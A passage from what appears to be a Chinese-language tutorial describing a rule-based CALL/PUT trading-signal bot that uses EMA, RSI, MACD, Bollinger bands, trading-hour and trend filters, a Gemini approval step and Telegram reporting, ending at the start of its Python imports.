21&#x3002;&#x8FD9;&#x4E24;&#x6761;&#x7EBF;&#x663E;&#x793A;&#x77ED;&#x671F;&#x65B9;&#x5411;&#x5E76;&#x5E2E;&#x52A9;&#x68C0;&#x6D4B;&#x4EA4;&#x53C9;&#x3002;</p><p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x5B83;&#x4F7F;&#x7528;&#x57FA;&#x4E8E;&#x6307;&#x6570;&#x79FB;&#x52A8;&#x5E73;&#x5747;&#x7684;&#x5E73;&#x6ED1;&#x6536;&#x76CA;&#x548C;&#x635F;&#x5931;&#x516C;&#x5F0F;&#x8BA1;&#x7B97; RSI&#x3002;&#x8FD9;&#x4F1A;&#x7ED9;&#x51FA;&#x4E00;&#x4E2A;&#x4ECB;&#x4E8E; 0 &#x548C; 100 &#x4E4B;&#x95F4;&#x7684;&#x503C;&#xFF0C;&#x663E;&#x793A;&#x5E02;&#x573A;&#x76EE;&#x524D;&#x662F;&#x4E0A;&#x6DA8;&#x8FD8;&#x662F;&#x4E0B;&#x8DCC;&#xFF0C;&#x4EE5;&#x53CA;&#x662F;&#x5426;&#x8FDB;&#x5165;&#x66F4;&#x6781;&#x7AEF;&#x7684;&#x533A;&#x57DF;&#x3002;</p><p>&#x7136;&#x540E;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x901A;&#x8FC7;&#x4ECE;&#x5FEB;&#x901F; EMA &#x4E2D;&#x51CF;&#x53BB;&#x6162;&#x901F; EMA &#x6765;&#x8BA1;&#x7B97; MACD&#xFF0C;&#x6784;&#x5EFA;&#x4FE1;&#x53F7;&#x7EBF;&#xFF0C;&#x5E76;&#x83B7;&#x53D6; MACD &#x76F4;&#x65B9;&#x56FE;&#x4F5C;&#x4E3A;&#x5B83;&#x4EEC;&#x4E4B;&#x95F4;&#x7684;&#x5DEE;&#x5F02;&#x3002;&#x76F4;&#x65B9;&#x56FE;&#x663E;&#x793A;&#x52A8;&#x91CF;&#x6709;&#x591A;&#x5F3A;&#x4EE5;&#x53CA;&#x65B9;&#x5411;&#x5982;&#x4F55;&#x3002;</p><p>&#x6700;&#x540E;&#xFF0C;&#x5B83;&#x901A;&#x8FC7;&#x53D6;&#x79FB;&#x52A8;&#x5E73;&#x5747;&#x7EBF;&#x5E76;&#x52A0;&#x4E0A;&#x6216;&#x51CF;&#x53BB;&#x6807;&#x51C6;&#x5DEE;&#x7684;&#x500D;&#x6570;&#x6765;&#x8BA1;&#x7B97;&#x5E03;&#x6797;&#x5E26;&#x3002;&#x673A;&#x5668;&#x4EBA;&#x5B58;&#x50A8;&#x4E2D;&#x95F4;&#x5E26;&#x3001;&#x4E0A;&#x5E26;&#x548C;&#x4E0B;&#x5E26;&#x3002;&#x8FD9;&#x4F7F;&#x5F97;&#x7B56;&#x7565;&#x80FD;&#x591F;&#x770B;&#x5230;&#x4EF7;&#x683C;&#x662F;&#x5426;&#x88AB;&#x538B;&#x5728;&#x8FD1;&#x671F;&#x8303;&#x56F4;&#x7684;&#x9876;&#x90E8;&#x6216;&#x5E95;&#x90E8;&#xFF0C;&#x5E76;&#x907F;&#x514D;&#x5728;&#x6781;&#x7AEF;&#x6CE2;&#x52A8;&#x4E2D;&#x4E70;&#x5165;&#x3002;</p><p>&#x6240;&#x6709;&#x6307;&#x6807;&#x6DFB;&#x52A0;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x811A;&#x672C;&#x5220;&#x9664;&#x5177;&#x6709;&#x7F3A;&#x5931;&#x503C;&#x7684;&#x884C;&#xFF0C;&#x56E0;&#x6B64;&#x6BCF;&#x6839;&#x5269;&#x4F59;&#x7684;&#x8721;&#x70DB;&#x90FD;&#x6709;&#x5B8C;&#x6574;&#x7684;&#x7279;&#x5F81;&#x96C6;&#x3002;</p><h2 id="5%E3%80%81%E4%BA%A4%E6%98%93%E6%97%B6%E9%97%B4%E5%92%8C%E6%AF%8F%E6%97%A5%E6%80%BB%E7%BB%93">5&#x3001;&#x4EA4;&#x6613;&#x65F6;&#x95F4;&#x548C;&#x6BCF;&#x65E5;&#x603B;&#x7ED3;</h2><p>&#x673A;&#x5668;&#x4EBA;&#x4F7F;&#x7528;&#x8FEA;&#x62DC;&#x65F6;&#x95F4;&#x4F5C;&#x4E3A;&#x5176;&#x4E3B;&#x8981;&#x65F6;&#x949F;&#x3002;&#x5B83;&#x53EA;&#x5728;&#x5468;&#x4E00;&#x81F3;&#x5468;&#x4E94;&#x7684; 11:00 &#x81F3; 22:00 &#x8FEA;&#x62DC;&#x65F6;&#x95F4;&#x4E4B;&#x95F4;&#x4EA4;&#x6613;&#x3002;&#x5982;&#x679C;&#x5F53;&#x524D;&#x65F6;&#x95F4;&#x5728;&#x6B64;&#x7A97;&#x53E3;&#x4E4B;&#x5916;&#x6216;&#x5982;&#x679C;&#x662F;&#x5468;&#x672B;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x53EA;&#x662F;&#x6253;&#x5370;&#x4E00;&#x6761;&#x6D88;&#x606F;&#x5E76;&#x4E0D;&#x4F1A;&#x5BFB;&#x627E;&#x65B0;&#x7684;&#x4EA4;&#x6613;&#x3002;</p><p>&#x8BE5;&#x811A;&#x672C;&#x8FD8;&#x8DDF;&#x8E2A;&#x6BCF;&#x65E5;&#x8868;&#x73B0;&#x3002;&#x5B83;&#x5B58;&#x50A8;&#x65E5;&#x671F;&#x3001;&#x80DC;&#x5229;&#x6B21;&#x6570;&#x548C;&#x5931;&#x8D25;&#x6B21;&#x6570;&#x3002;&#x6BCF;&#x6B21;&#x5FAA;&#x73AF;&#x8FD0;&#x884C;&#x65F6;&#xFF0C;&#x5B83;&#x90FD;&#x4F1A;&#x68C0;&#x67E5;&#x8FEA;&#x62DC;&#x7684;&#x65E5;&#x671F;&#x662F;&#x5426;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x3002;&#x5982;&#x679C;&#x65B0;&#x7684;&#x4E00;&#x5929;&#x5F00;&#x59CB;&#x4E86;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x5411; Telegram &#x53D1;&#x9001;&#x524D;&#x4E00;&#x5929;&#x7684;&#x6BCF;&#x65E5;&#x603B;&#x7ED3;&#xFF0C;&#x7136;&#x540E;&#x91CD;&#x7F6E;&#x65B0;&#x4E00;&#x5929;&#x7684;&#x8BA1;&#x6570;&#x5668;&#x3002;</p><h2 id="6%E3%80%81%E4%BD%BF%E7%94%A8%E4%BA%94%E5%88%86%E9%92%9F%E8%B6%8B%E5%8A%BF%E8%BF%87%E6%BB%A4%E5%99%A8">6&#x3001;&#x4F7F;&#x7528;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x8FC7;&#x6EE4;&#x5668;</h2><p>&#x8FD9;&#x4E2A;&#x673A;&#x5668;&#x4EBA;&#x7684;&#x4E00;&#x9879;&#x4E3B;&#x8981;&#x6539;&#x8FDB;&#x662F;&#x66F4;&#x9AD8;&#x65F6;&#x95F4;&#x6846;&#x67B6;&#x7684;&#x8D8B;&#x52BF;&#x8FC7;&#x6EE4;&#x5668;&#x3002;&#x673A;&#x5668;&#x4EBA;&#x5C06;&#x4E00;&#x5206;&#x949F;&#x7684;&#x6536;&#x76D8;&#x4EF7;&#x91CD;&#x65B0;&#x91C7;&#x6837;&#x4E3A;&#x4E94;&#x5206;&#x949F;&#x7684;&#x8721;&#x70DB;&#xFF0C;&#x7136;&#x540E;&#x5BF9;&#x91CD;&#x65B0;&#x91C7;&#x6837;&#x7684;&#x7CFB;&#x5217;&#x5E94;&#x7528; 20 &#x4E2A;&#x5468;&#x671F;&#x7684; EMA&#x3002;&#x5982;&#x679C;&#x6700;&#x540E;&#x4E94;&#x5206;&#x949F;&#x7684;&#x6536;&#x76D8;&#x4EF7;&#x9AD8;&#x4E8E;&#x8FD9;&#x4E2A; EMA&#xFF0C;&#x8D8B;&#x52BF;&#x88AB;&#x8BA4;&#x4E3A;&#x662F;&#x4E0A;&#x5347;&#x7684;&#x3002;&#x5982;&#x679C;&#x4F4E;&#x4E8E;&#xFF0C;&#x5219;&#x8BA4;&#x4E3A;&#x662F;&#x4E0B;&#x964D;&#x7684;&#x3002;&#x5982;&#x679C;&#x6CA1;&#x6709;&#x8DB3;&#x591F;&#x7684;&#x4E94;&#x5206;&#x949F;&#x6570;&#x636E;&#x6765;&#x8BA1;&#x7B97;&#x7A33;&#x5B9A;&#x7684; EMA&#xFF0C;&#x8BE5;&#x51FD;&#x6570;&#x8FD4;&#x56DE; nothing &#x5E76;&#x4E14;&#x673A;&#x5668;&#x4EBA;&#x8DF3;&#x8FC7;&#x8BE5;&#x6B21;&#x4EA4;&#x6613;&#x3002;</p><p>&#x4FE1;&#x53F7;&#x903B;&#x8F91;&#x5C0A;&#x91CD;&#x8FD9;&#x4E2A;&#x8D8B;&#x52BF;&#x8FC7;&#x6EE4;&#x5668;&#x3002;&#x53EA;&#x6709;&#x5728;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x5411;&#x4E0A;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x624D;&#x5141;&#x8BB8;&#x53D1;&#x51FA; CALL &#x4FE1;&#x53F7;&#xFF1B;&#x53EA;&#x6709;&#x5728;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x5411;&#x4E0B;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x624D;&#x5141;&#x8BB8;&#x53D1;&#x51FA; PUT &#x4FE1;&#x53F7;&#x3002;&#x8FD9;&#x6709;&#x52A9;&#x4E8E;&#x907F;&#x514D;&#x4E0E;&#x5E02;&#x573A;&#x4E3B;&#x8981;&#x65B9;&#x5411;&#x76F8;&#x53CD;&#x7684;&#x4EA4;&#x6613;&#x3002;</p><h2 id="7%E3%80%81%E8%9C%A1%E7%83%9B%E5%AE%9E%E4%BD%93%E8%BF%87%E6%BB%A4%E5%99%A8%E5%92%8C%E6%97%B6%E9%97%B4%E8%BF%87%E6%BB%A4%E5%99%A8">7&#x3001;&#x8721;&#x70DB;&#x5B9E;&#x4F53;&#x8FC7;&#x6EE4;&#x5668;&#x548C;&#x65F6;&#x95F4;&#x8FC7;&#x6EE4;&#x5668;</h2><p>&#x5728;&#x673A;&#x5668;&#x4EBA;&#x51B3;&#x5B9A;&#x4FE1;&#x53F7;&#x4E4B;&#x524D;&#xFF0C;&#x5B83;&#x8FD8;&#x4F1A;&#x68C0;&#x67E5;&#x5F53;&#x524D;&#x8721;&#x70DB;&#x5B9E;&#x4F53;&#x7684;&#x5927;&#x5C0F;&#x3002;&#x5982;&#x679C; Open &#x5217;&#x53EF;&#x7528;&#xFF0C;&#x5B83;&#x4F1A;&#x6D4B;&#x91CF; Open &#x548C; Close &#x7684;&#x7EDD;&#x5BF9;&#x5DEE;&#xFF0C;&#x5E76;&#x5C06;&#x5176;&#x4E0E;&#x6700;&#x8FD1;&#x4E8C;&#x5341;&#x4E2A;&#x8721;&#x70DB;&#x7684;&#x5E73;&#x5747;&#x5B9E;&#x4F53;&#x5927;&#x5C0F;&#x8FDB;&#x884C;&#x6BD4;&#x8F83;&#x3002;&#x5982;&#x679C;&#x5F53;&#x524D;&#x5B9E;&#x4F53;&#x76F8;&#x5BF9;&#x4E8E;&#x6700;&#x8FD1;&#x7684;&#x5E73;&#x5747;&#x503C;&#x592A;&#x5C0F;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x5C06;&#x5176;&#x89C6;&#x4E3A;&#x80FD;&#x91CF;&#x4E0D;&#x8DB3;&#x6216;&#x72B9;&#x8C6B;&#x4E0D;&#x51B3;&#x7684;&#x8721;&#x70DB;&#x5E76;&#x8DF3;&#x8FC7;&#x3002;</p><p>&#x65F6;&#x95F4;&#x8FC7;&#x6EE4;&#x5668;&#x968F;&#x540E;&#x68C0;&#x67E5;&#x4EA4;&#x6613;&#x7A97;&#x53E3;&#x3002;&#x5982;&#x679C;&#x4E0D;&#x5728;&#x6211;&#x4E4B;&#x524D;&#x5B9A;&#x4E49;&#x7684;&#x8FEA;&#x62DC;&#x65F6;&#x95F4;&#x8303;&#x56F4;&#x5185;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x5FFD;&#x7565;&#x4EFB;&#x4F55;&#x6F5C;&#x5728;&#x7684;&#x4FE1;&#x53F7;&#x3002;&#x8FD9;&#x786E;&#x4FDD;&#x4E86;&#x6240;&#x6709;&#x4EA4;&#x6613;&#x7B26;&#x5408;&#x7279;&#x5B9A;&#x7684;&#x65E5;&#x5E38;&#x5B89;&#x6392;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x5168;&#x5929;&#x5019;&#x8FD0;&#x884C;&#x3002;</p><h2 id="8%E3%80%81%E4%BF%A1%E5%8F%B7%E9%80%BB%E8%BE%91%E7%9A%84%E5%B7%A5%E4%BD%9C%E6%96%B9%E5%BC%8F">8&#x3001;&#x4FE1;&#x53F7;&#x903B;&#x8F91;&#x7684;&#x5DE5;&#x4F5C;&#x65B9;&#x5F0F;</h2><p>&#x5F53;&#x65F6;&#x95F4;&#x5408;&#x9002;&#x4E14;&#x6570;&#x636E;&#x51C6;&#x5907;&#x5C31;&#x7EEA;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x67E5;&#x770B; DataFrame &#x4E2D;&#x7684;&#x6700;&#x540E;&#x4E24;&#x6839;&#x8721;&#x70DB;&#x3002;&#x5B83;&#x8BFB;&#x53D6;&#x5F53;&#x524D;&#x548C;&#x524D;&#x4E00;&#x4E2A; EMA &#x5FEB;&#x901F;&#x548C;&#x6162;&#x901F;&#x503C;&#xFF0C;&#x5F53;&#x524D; RSI&#xFF0C;&#x5F53;&#x524D; MACD &#x76F4;&#x65B9;&#x56FE;&#xFF0C;&#x5F53;&#x524D;&#x5E03;&#x6797;&#x5E26;&#x4E0A;&#x4E0B;&#x5E26;&#x548C;&#x5F53;&#x524D;&#x4EF7;&#x683C;&#x3002;</p><p>&#x5BF9;&#x4E8E;&#x53EF;&#x80FD;&#x7684; CALL &#x8BBE;&#x7F6E;&#xFF0C;&#x5FEB;&#x901F; EMA &#x5FC5;&#x987B;&#x5728;&#x6700;&#x65B0;&#x8721;&#x70DB;&#x4E0A;&#x4EA4;&#x53C9;&#x9AD8;&#x4E8E;&#x6162;&#x901F; EMA&#xFF0C;&#x800C;&#x5728;&#x524D;&#x4E00;&#x6839;&#x8721;&#x70DB;&#x4E0A;&#x4F4E;&#x4E8E;&#x6216;&#x7B49;&#x4E8E;&#x3002;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x5FC5;&#x987B;&#x5411;&#x4E0A;&#x3002;RSI &#x5FC5;&#x987B;&#x5904;&#x4E8E;&#x5065;&#x5EB7;&#x7684;&#x725B;&#x5E02;&#x8303;&#x56F4;&#x5185;&#xFF0C;&#x4E0D;&#x8981;&#x592A;&#x4F4E;&#xFF0C;&#x4E5F;&#x4E0D;&#x8981;&#x6781;&#x5EA6;&#x8D85;&#x4E70;&#x3002;MACD &#x76F4;&#x65B9;&#x56FE;&#x5FC5;&#x987B;&#x4E3A;&#x6B63;&#xFF0C;&#x8FD9;&#x8868;&#x793A;&#x5411;&#x4E0A;&#x52A8;&#x91CF;&#x3002;&#x6700;&#x540E;&#xFF0C;&#x5F53;&#x524D;&#x4EF7;&#x683C;&#x5FC5;&#x987B;&#x4F4E;&#x4E8E;&#x4E0A;&#x5E03;&#x6797;&#x5E26;&#xFF0C;&#x8FD9;&#x6837;&#x673A;&#x5668;&#x4EBA;&#x5C31;&#x4E0D;&#x4F1A;&#x5728;&#x5DF2;&#x7ECF;&#x6DA8;&#x5230;&#x8303;&#x56F4;&#x9876;&#x90E8;&#x7684;&#x5C16;&#x5CF0;&#x4E2D;&#x4E70;&#x5165;&#x3002;</p><p>&#x5BF9;&#x4E8E;&#x53EF;&#x80FD;&#x7684; PUT &#x8BBE;&#x7F6E;&#xFF0C;&#x6761;&#x4EF6;&#x662F;&#x955C;&#x50CF;&#x7684;&#x3002;&#x5FEB;&#x901F; EMA &#x5FC5;&#x987B;&#x4EA4;&#x53C9;&#x4F4E;&#x4E8E;&#x6162;&#x901F; EMA&#x3002;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x5FC5;&#x987B;&#x5411;&#x4E0B;&#x3002;RSI &#x5FC5;&#x987B;&#x4F4D;&#x4E8E;&#x5408;&#x7406;&#x7684;&#x718A;&#x5E02;&#x8303;&#x56F4;&#x5185;&#xFF0C;&#x4E0D;&#x8981;&#x592A;&#x9AD8;&#x7684;&#xFF0C;&#x4E5F;&#x4E0D;&#x8981;&#x6DF1;&#x5EA6;&#x8D85;&#x5356;&#x3002;MACD &#x76F4;&#x65B9;&#x56FE;&#x5FC5;&#x987B;&#x4E3A;&#x8D1F;&#xFF0C;&#x8FD9;&#x8868;&#x793A;&#x5411;&#x4E0B;&#x52A8;&#x91CF;&#x3002;&#x4EF7;&#x683C;&#x5FC5;&#x987B;&#x9AD8;&#x4E8E;&#x4E0B;&#x5E03;&#x6797;&#x5E26;&#xFF0C;&#x8FD9;&#x6837;&#x673A;&#x5668;&#x4EBA;&#x5C31;&#x4E0D;&#x4F1A;&#x5728;&#x4EF7;&#x683C;&#x5DF2;&#x7ECF;&#x66B4;&#x8DCC;&#x5230;&#x5E95;&#x90E8;&#x540E;&#x5356;&#x51FA;&#x3002;</p><p>&#x5982;&#x679C;&#x8FD9;&#x4E9B;&#x5B8C;&#x6574;&#x6761;&#x4EF6;&#x96C6;&#x4E2D;&#x7684;&#x4EFB;&#x4F55;&#x4E00;&#x4E2A;&#x90FD;&#x6CA1;&#x6709;&#x6EE1;&#x8DB3;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x6253;&#x5370;&#x4E00;&#x6761;&#x6D88;&#x606F;&#xFF0C;&#x8BF4;&#x660E;&#x8FD9;&#x4E00;&#x6839;&#x8721;&#x70DB;&#x6CA1;&#x6709;&#x4FE1;&#x53F7;&#xFF0C;&#x5E76;&#x4E14;&#x4EC0;&#x4E48;&#x4E5F;&#x4E0D;&#x505A;&#x3002;</p><h2 id="9%E3%80%81gemini-ai-%E8%BF%87%E6%BB%A4%E5%99%A8">9&#x3001;Gemini AI &#x8FC7;&#x6EE4;&#x5668;</h2><p>&#x5F53;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x4FE1;&#x53F7;&#x51FA;&#x73B0;&#x5E76;&#x901A;&#x8FC7;&#x6240;&#x6709;&#x6761;&#x4EF6;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x7D27;&#x51D1;&#x7684;&#x5FEB;&#x7167;&#x7ED9; Gemini&#x3002;&#x5B83;&#x4F1A;&#x83B7;&#x53D6;&#x6700;&#x540E;&#x4E94;&#x5341;&#x6839;&#x4E00;&#x5206;&#x949F;&#x8721;&#x70DB;&#xFF0C;&#x5E76;&#x8BB0;&#x5F55;&#x4E09;&#x4E2A;&#x5217;&#x8868;&#xFF1A;&#x6700;&#x8FD1;&#x7684;&#x6536;&#x76D8;&#x4EF7;&#x3001;&#x6700;&#x8FD1;&#x7684; RSI &#x503C;&#x548C;&#x6700;&#x8FD1;&#x7684; MACD &#x76F4;&#x65B9;&#x56FE;&#x503C;&#x3002;&#x5B83;&#x8FD8;&#x5305;&#x62EC;&#x4FE1;&#x53F7;&#x7684;&#x65B9;&#x5411;&#x3001;&#x4E94;&#x5206;&#x949F;&#x8D8B;&#x52BF;&#x3001;&#x5F53;&#x524D;&#x4EF7;&#x683C;&#x3001;&#x5F53;&#x524D; RSI&#x3001;&#x5F53;&#x524D; MACD &#x76F4;&#x65B9;&#x56FE;&#x3001;&#x5F53;&#x524D;&#x5E03;&#x6797;&#x5E26;&#x4E0A;&#x4E0B;&#x5E26;&#x3001;&#x5F53;&#x524D;&#x8721;&#x70DB;&#x5B9E;&#x4F53;&#x5927;&#x5C0F;&#x3001;&#x6700;&#x8FD1;&#x7684;&#x5E73;&#x5747;&#x5B9E;&#x4F53;&#x5927;&#x5C0F;&#x548C;&#x8FEA;&#x62DC;&#x65F6;&#x95F4;&#x3002;</p><p>&#x8FD9;&#x4E2A;&#x5FEB;&#x7167;&#x4F1A;&#x88AB;&#x8F6C;&#x6362;&#x6210;&#x4E00;&#x4E2A;&#x63D0;&#x793A;&#xFF0C;&#x53D1;&#x9001;&#x7ED9; Gemini &#x6A21;&#x578B;&#x3002;&#x63D0;&#x793A;&#x544A;&#x8BC9; Gemini&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x673A;&#x5668;&#x4EBA;&#x7684;&#x6559;&#x5B66;&#x7528;&#x7684;&#x8FC7;&#x6EE4;&#x5668;&#x3002;&#x5B83;&#x4E0D;&#x5141;&#x8BB8;&#x63D0;&#x4F9B;&#x8D22;&#x52A1;&#x5EFA;&#x8BAE;&#x3001;&#x8C08;&#x8BBA;&#x771F;&#x5B9E;&#x8D44;&#x91D1;&#x6216;&#x5EFA;&#x8BAE;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;&#x3002;&#x5B83;&#x53EA;&#x80FD;&#x505A;&#x4E00;&#x4E2A;&#x51B3;&#x5B9A;&#xFF1A;APPROVE &#x6216; SKIP&#x3002;&#x5B83;&#x5FC5;&#x987B;&#x5728;&#x7B2C;&#x4E00;&#x884C;&#x8F93;&#x51FA;&#x8FD9;&#x4E2A;&#x51B3;&#x5B9A;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x7B2C;&#x4E8C;&#x884C;&#x7ED9;&#x51FA;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x7B80;&#x77ED;&#x7684;&#x89E3;&#x91CA;&#xFF0C;&#x8BF4;&#x660E;&#x73AF;&#x5883;&#x770B;&#x8D77;&#x6765;&#x662F;&#x5426;&#x5E72;&#x51C0;&#x4E14;&#x65B9;&#x5411;&#x660E;&#x786E;&#xFF0C;&#x6216;&#x8005;&#x6DF7;&#x4E71;&#x4E14;&#x6742;&#x4E71;&#x65E0;&#x7AE0;&#x3002;</p><p>&#x5982;&#x679C; Gemini &#x88AB;&#x7981;&#x7528;&#x6216;&#x8C03;&#x7528;&#x5931;&#x8D25;&#xFF0C;&#x51FD;&#x6570;&#x9ED8;&#x8BA4;&#x8FD4;&#x56DE; APPROVE&#x3002;&#x8FD9;&#x6837;&#x673A;&#x5668;&#x4EBA;&#x5C31;&#x50CF;&#x4E00;&#x4E2A;&#x6B63;&#x5E38;&#x7684;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x7CFB;&#x7EDF;&#x4E00;&#x6837;&#x8FD0;&#x884C;&#x3002;&#x5982;&#x679C; Gemini &#x8FD4;&#x56DE; SKIP&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x5FFD;&#x7565;&#x4FE1;&#x53F7;&#x5E76;&#x4E0D;&#x5F00;&#x4ED3;&#x3002;&#x5982;&#x679C; Gemini &#x8FD4;&#x56DE; APPROVE&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x7EE7;&#x7EED;&#x6B63;&#x5E38;&#x7684;&#x5165;&#x573A;&#x903B;&#x8F91;&#x5E76;&#x5C06;&#x4FE1;&#x53F7;&#x53D1;&#x9001;&#x5230; Telegram&#x3002;</p><h2 id="10%E3%80%81%E8%B7%9F%E8%B8%AA%E4%BA%A4%E6%98%93%E5%92%8C%E8%AF%84%E4%BC%B0%E7%BB%93%E6%9E%9C">10&#x3001;&#x8DDF;&#x8E2A;&#x4EA4;&#x6613;&#x548C;&#x8BC4;&#x4F30;&#x7ED3;&#x679C;</h2><p>&#x6BCF;&#x5F53;&#x4FE1;&#x53F7;&#x6700;&#x7EC8;&#x88AB;&#x6279;&#x51C6;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x5C06;&#x4EA4;&#x6613;&#x5B58;&#x50A8;&#x5728;&#x4E00;&#x4E2A;&#x5217;&#x8868;&#x4E2D;&#x3002;&#x6BCF;&#x4E2A;&#x6761;&#x76EE;&#x5305;&#x542B;&#x8721;&#x70DB;&#x65F6;&#x95F4;&#x3001;&#x5165;&#x573A;&#x4EF7;&#x683C;&#x3001;&#x65B9;&#x5411;&#xFF08;CALL &#x6216; PUT&#xFF09;&#x4EE5;&#x53CA;&#x4EA4;&#x6613;&#x6253;&#x5F00;&#x7684;&#x8FEA;&#x62DC;&#x65F6;&#x95F4;&#x3002;&#x5728; DataFrame &#x4E2D;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x5B9A;&#x4E49;&#x4E86;&#x5230;&#x671F;&#x65F6;&#x95F4;&#x4E3A;&#x4E00;&#x5206;&#x949F;&#x540E;&#x7684;&#x4E00;&#x4E2A;&#x56FA;&#x5B9A;&#x6570;&#x91CF;&#x7684;&#x8721;&#x70DB;&#x3002;&#x5728;&#x8BBE;&#x7F6E;&#x4E2D;&#xFF0C;&#x8FD9;&#x4E2A;&#x503C;&#x88AB;&#x8BBE;&#x4E3A; 5&#xFF0C;&#x56E0;&#x6B64;&#x903B;&#x8F91;&#x4E0A;&#x7684;&#x5230;&#x671F;&#x65F6;&#x95F4;&#x662F;&#x5728;&#x5165;&#x573A;&#x8721;&#x70DB;&#x540E;&#x7684;&#x4E94;&#x4E2A;&#x4E00;&#x5206;&#x949F;&#x540E;&#x3002;</p><p>&#x4EA4;&#x6613;&#x7684;&#x8BC4;&#x4F30;&#x53D1;&#x751F;&#x5728;&#x68C0;&#x67E5;&#x65B0;&#x4FE1;&#x53F7;&#x7684;&#x540C;&#x4E00;&#x51FD;&#x6570;&#x4E2D;&#x3002;&#x7136;&#x800C;&#xFF0C;&#x7531;&#x4E8E; <code>ONE_SIGNAL_PER_HOUR</code> &#x662F;&#x5F00;&#x542F;&#x7684;&#xFF0C;&#x8BE5;&#x51FD;&#x6570;&#x53EA;&#x5728;&#x8FEA;&#x62DC;&#x5F53;&#x524D;&#x5206;&#x949F;&#x4E3A;&#x96F6;&#x65F6;&#x8FD0;&#x884C;&#x5176;&#x4E3B;&#x8981;&#x903B;&#x8F91;&#x3002;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x5B9E;&#x9645;&#x4E0A;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x56F4;&#x7ED5;&#x6BCF;&#x4E2A;&#x5C0F;&#x65F6;&#x7684;&#x9876;&#x90E8;&#x5BF9;&#x4EA4;&#x6613;&#x8BC4;&#x4F30;&#x8FDB;&#x884C;&#x4E86;&#x5206;&#x7EC4;&#x3002;&#x4EE3;&#x7801;&#x4ECD;&#x7136;&#x4F7F;&#x7528; DataFrame &#x4E2D;&#x7684;&#x4E94;&#x4E2A;&#x8721;&#x70DB;&#x8DDD;&#x79BB;&#x6765;&#x51B3;&#x5B9A;&#x6BD4;&#x8F83;&#x54EA;&#x4E2A;&#x4EF7;&#x683C;&#xFF0C;&#x4F46;&#x5B9E;&#x9645;&#x7684;&#x68C0;&#x67E5;&#x662F;&#x5728;&#x4E0B;&#x4E00;&#x4E2A;&#x5C0F;&#x65F6;&#x5468;&#x671F;&#x4E2D;&#x8FDB;&#x884C;&#x7684;&#xFF0C;&#x6B64;&#x65F6;&#x52A0;&#x8F7D;&#x4E86;&#x65B0;&#x7684;&#x6570;&#x636E;&#x3002;</p><p>&#x5F53;&#x6709;&#x8DB3;&#x591F;&#x7684;&#x6570;&#x636E;&#x8986;&#x76D6;&#x5230;&#x671F;&#x8721;&#x70DB;&#x65F6;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F1A;&#x5C06;&#x9000;&#x51FA;&#x4EF7;&#x683C;&#x4E0E;&#x5165;&#x573A;&#x4EF7;&#x683C;&#x8FDB;&#x884C;&#x6BD4;&#x8F83;&#x3002;&#x5BF9;&#x4E8E; CALL &#x4EA4;&#x6613;&#xFF0C;&#x5982;&#x679C;&#x9000;&#x51FA;&#x4EF7;&#x683C;&#x9AD8;&#x4E8E;&#x5165;&#x573A;&#x4EF7;&#x5219;&#x8BA1;&#x4E3A;&#x80DC;&#x5229;&#x3002;&#x5BF9;&#x4E8E; PUT &#x4EA4;&#x6613;&#xFF0C;&#x5982;&#x679C;&#x9000;&#x51FA;&#x4EF7;&#x683C;&#x4F4E;&#x4E8E;&#x5165;&#x573A;&#x4EF7;&#x5219;&#x8BA1;&#x4E3A;&#x80DC;&#x5229;&#x3002;&#x7136;&#x540E;&#x5B83;&#x4F1A;&#x53D1;&#x9001;&#x4E00;&#x6761;&#x8BE6;&#x7EC6;&#x7684;&#x4FE1;&#x606F;&#x5230; Telegram&#xFF0C;&#x5305;&#x542B;&#x5165;&#x573A;&#x4EF7;&#x683C;&#x548C;&#x65F6;&#x95F4;&#x3001;&#x9000;&#x51FA;&#x4EF7;&#x683C;&#x548C;&#x65F6;&#x95F4;&#x4EE5;&#x53CA;&#x7ED3;&#x679C;&#x3002;&#x6839;&#x636E;&#x8FD9;&#x4E2A;&#x7ED3;&#x679C;&#xFF0C;&#x5B83;&#x66F4;&#x65B0;&#x5F53;&#x5929;&#x7684;&#x80DC;&#x5229;&#x6216;&#x5931;&#x8D25;&#x8BA1;&#x6570;&#x5668;&#x3002;</p><pre><code>import os  
import time  
from datetime import datetime, timedelta, date  
import requests  
import numpy as np  
import pandas as pd  
import yfinance as yf  
import pytz  
import traceback  

# &#x5C1D;&#x8BD5;&#x5BFC;&#x5165; Gemini &#x5BA2;&#x6237;&#x7AEF;  
try:  
